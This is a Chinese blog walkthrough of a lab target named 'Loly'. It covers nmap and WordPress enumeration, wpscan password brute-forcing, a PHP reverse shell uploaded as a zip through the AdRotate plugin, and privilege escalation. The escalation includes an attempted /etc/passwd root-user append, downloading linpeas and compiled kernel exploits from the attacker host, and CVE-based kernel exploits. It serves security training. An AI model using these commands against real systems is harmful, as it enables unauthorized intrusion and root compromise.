实战打靶集锦-013-Loly

**写在前面:**记录博主的一次打靶经历


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定目标靶机为65.248。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.248

在这里插入图片描述
目标靶机只暴露了一个80端口。

3. 服务枚举

通过下面的命令枚举一下80端口上的服务。

$ sudo nmap -p80 -A -sT -sV 192.168.65.248

在这里插入图片描述
目标靶机的操作系统应该是Ubuntu,运行的web应用服务器是nginx的1.10.3版本。

4. web服务探查

先通过浏览器访问一下。
在这里插入图片描述
没有太吸引人的内容,就是一个简单的不能再简单的nginx欢迎页面,通过dirsearch枚举一下目录看看。

$ dirsearch -u http://192.168.65.248

在这里插入图片描述
嗯,是WordPress的服务,再用dirb挂上big字典扫描一下。

$ dirb http://192.168.65.248 /usr/share/dirb/wordlists/big.txt

没有特别的发现。

4.1 WordPress探测

接下来老老实实探测一下WordPress服务,先用浏览器访问一下登录页面看看。
在这里插入图片描述
真够简陋的,尝试不同的用户名密码登录一下试试看。
在这里插入图片描述貌似没法正常登录,直接跳转到一个怪异的http://loly.lc/wordpress/wp-login.php。返回去看看忘记密码页面。
在这里插入图片描述
一样会跳转到loly.lc,会不会是我设置了burp代理导致的呢,去掉试试看。
在这里插入图片描述
效果是一样的。返回去老老实实看http://ip/wordpress/目录吧,进去都浏览一下。
在这里插入图片描述
这确实是一个比较奇葩的WordPress,只有一个上图所示的页面,随便都会指向不存在的loly.lc的域名导致不可达。

4.2 使用metasploit

无计可施了,用metasploit试试看。

$ msfconsole
msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_scanner) > set TARGETURI /wordpress
msf6 auxiliary(scanner/http/wordpress_scanner) > run

在这里插入图片描述
执行结果对我们来说还是有进展的,锁定wordpress版本为5.5。

4.3 使用wpscan

$ wpscan --update
$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
比metadata得到的信息稍微多了一丢丢,接下来用Metasploit尝试一下扫出来的几个。

msf6 auxiliary(scanner/http/wordpress_scanner) > search xml-rpc

在这里插入图片描述
先用序号为2的PHP XML-RPC。

msf6 > use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set PATH /wordpress/xmlrpc.php

在这里插入图片描述
失败了,再试试序号为7的XML-RPC。

msf6 > use auxiliary/scanner/http/wordpress_pingback_access

在这里插入图片描述
仍然失败,再分别试试编号为8的。

msf6 > use auxiliary/scanner/http/wordpress_xmlrpc_login
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set TARGETURI /wordpress/

在这里插入图片描述
仍然失败。接下来查查WP-Cron的。
在这里插入图片描述
这个是不存在的,到这里为止,感觉没有可以下手的地方了。

4.4 阶段性回顾

回想前面的探测阶段,总觉得不太正常,所有的页面连接,都会指向loly.lc这个域名,但是这个域名我们是无法访问的。有没有可能这个loly.lc就应该是指向wordpress服务器呢?有这种可能性!我们直接在kali主机上修改hosts文件(添加一行192.168.65.248 loly.lc),将loly.lc指向我们的目标靶机试试看。
在这里插入图片描述
还挺像那么回事的,所有的页面显示不再那么low了,尤其是像密码找回等也可以正常打开了,接下来重新探查一下。重新进行目录枚举。
在这里插入图片描述
总体上感觉比之前的扫描内容多了些。接下来用wpscan扫描一下。

$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
这里跟之前的搜索结果没有太大差异,先用admin/admin尝试登录一下试试看。
在这里插入图片描述
嗯,这至少说明了admin用户是不存在的,这为用户枚举提供了可能性。通过wpscan枚举一下试试看。

$ wpscan --url http://192.168.65.248/wordpress --enumerate u

在这里插入图片描述
嗯,找到了一个用户loly,我们手工尝试登录一下看看(随便输入密码)。
在这里插入图片描述
跟之前的错误提示不一样了,确实这个用户是存在的,下面尝试爆破一下loly用户的密码。

$ wpscan --url http://192.168.65.248/wordpress/wp-login.php --usernames 'loly' --passwords /usr/share/wordlists/rockyou.txt

在这里插入图片描述
分分钟就爆破出来了,loly的密码是fernando,手工登录一下试试看。
在这里插入图片描述
登录后会出现一个管理邮箱确认的页面,点击“The email is correct”试试看。
在这里插入图片描述
登录成功了,看界面和url(wp-admin)这应该是管理员账号。先通过Metasploit搜索一下wordpress关键字。

msf6 > search wordpress

在这里插入图片描述
还真是不少,差不多100多项,从头开始,优先找rank为excellent,check为yes的项。我们先试试序号为20的WordPress Admin Shell Upload。

msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD fernando
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME loly
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

在这里插入图片描述
竟然上传payload失败了,网上有人说修改一下HTTP客户端的超时时间。

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show advanced options
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set HttpClientTimeout 120

在这里插入图片描述
并没有实际效果,这样搞有些太盲目了,既然我们已经拥有管理员账号,还是先看看wordpress上安装了哪些插件吧,不行的话安装一个带漏洞的插件。
在这里插入图片描述
总共三个,只启用了一个反垃圾邮件的插件。我们从之前的search结果中,筛选出所有rank为excellent,check为yes,并且包含plugin关键字的项,如下图所示。
在这里插入图片描述
从上面筛选的结果中,逐个试一下,可惜失败了。
在这里插入图片描述
loly用户只可以对已有的插件进行Activate或者Deactivate操作,不能安装或者卸载,看来loly不是一个完整权限的管理员用户。既然这样,就好好点击一下各个页面看看有没有别的路子吧。
在这里插入图片描述
首先发现在media这里是可以上传文件的,还记得我们之前用的以GIF8开头的那个payload吗?GIF应该也算是media吧,上传试试看。
在这里插入图片描述
额,失败了,有安全限制。继续往下看,在“AdRotate/Manage Media”下可以上传文件,并且规定了可接受的文件类型、大小等,如下图。
在这里插入图片描述貌似可以用于构建反弹shell的格式就是zip了,并且上面的图片中也说了,上传后会解压,并且会把zip文件删除。把我们的payload.php压缩成zip文件。

$ zip -q -o payload.zip payload.php

再次上传。
在这里插入图片描述
这次提示上传成功了,文件在/banners下面,在kali上开启监听,并尝试访问一下(http://loly.lc/wordpress/wp-content/banners/payload.php)。
在这里插入图片描述
貌似是突破边界了,我们进一步试试看。
在这里插入图片描述
确实是突破边界成功。

5. 提权

5.1 弱密码提权

在这里插入图片描述
终端异常,通过下面的命令优化一下终端,然后再试试。

$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
看来没有弱密码。

5.2 操作系统信息枚举

在这里插入图片描述
这样就得到了目标靶机的系统信息:Ubuntu 16.04.1的64位版本,内核版本为4.4.0-31-generic。

5.3 定时任务枚举

在这里插入图片描述
定时任务中没有我们可以用于提权的信息。

5.4 passwd信息枚举

在这里插入图片描述
竟然有loly用户,用前面我们爆出的密码fernando试试看是否可以切换到loly用户。
在这里插入图片描述
密码不对,接下来尝试往passwd中写入一个用户。

$ echo "testusr:$1$tLZbutZB$fTEL0ldFBYz7sTASmpXop.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
也不允许。

5.5 可执行文件枚举

先查看一下具备suid的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
通过上网搜索,貌似这里的ntfs-3g和ping都可以提权,接下来我们将使用这两种方式提权试试。

5.5.1 /bin/ntfs-3g提权

EXP地址在https://bugs.chromium.org/p/project-zero/issues/attachment?aid=265615&signed_aid=fGO-0n2HCpBXJ42JqT8tlQ==
不过我在利用的时候,不管是在靶机还是在kali上,始终都是编译失败。
在这里插入图片描述
在这里插入图片描述
只得暂时放弃。

5.5.2 /bin/ping提权

www-data@ubuntu:/$ mkdir -p /tmp/test
www-data@ubuntu:/$ ln /bin/ping /tmp/test/target

在这里插入图片描述
好奇怪,别人都是执行成功的,但是我这里一直失败,暂时放一边。

5.5.3 内核提权

先搜索一下对应内核版本的公共EXP看看。
在这里插入图片描述
匹配我们目标靶机的项还挺多的,下面使用linpeas看看哪个内核漏洞最有可能。

5.5.4 linpeas提权

$ cd /tmp
$ wget http://192.168.65.202/linpeas.sh
$ chmod 775 linpeas.sh
$ sh linpeas.sh

通过扫描,发现Exposure的状态为highly probable的CVE漏洞还挺多的,主要有CVE-2017-16995、CVE-2016-8655、CVE-2016-5195、CVE-2016-5195。
在这里插入图片描述
另外就是具备SUID的应用程序,ntfs-3g是可利用的,ping是不可利用的。
在这里插入图片描述
这也验证了之前ping程序exploit不成功的问题,接下来老老实实研究上面的4个CVE漏洞吧。

5.5.4.1 CVE-2017-16995

首先在本地Ubuntu(我的是16.04.7)上编译45101.c的代码。

ubuntu@ubuntu: ~$ gcc 45010.c -o 45010

然后将编译好的可执行文件45010上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
感觉貌似提权成功了,进一步试一下。
在这里插入图片描述
提权成功。

5.5.4.2 CVE-2016-8655

首先在本地Ubuntu(我的是16.04.7)上编译40871.c的代码。

ubuntu@ubuntu: ~$ gcc 40871.c -o 40871 -lpthread

然后将编译好的可执行文件40871上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个应该也是提权成功了,接下来验证一下。
在这里插入图片描述
提权成功。

5.5.4.3 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40611.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40611.c -o 40611

然后将编译好的可执行文件40611上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个提权失败。

5.5.4.4 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40839.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40839.c -o 40839 -lcrypt

然后将编译好的可执行文件40839上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
一直卡在这个界面没反应,回去查看了一下,靶机挂了,重启再试,还是同样的现象,提权失败。

5.5.5 重新编译ntfs-3g的EXP

既然安装了Ubuntu的16.04版本,这里把前面的ntfs-3g的EXP重新编译一下试试看。
在这里插入图片描述
仍然不成功,又在本地的Ubuntu 16.04.7上试了一下,也不成功,暂时放弃。
在这里插入图片描述
针对目标靶机的打靶到此结束。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值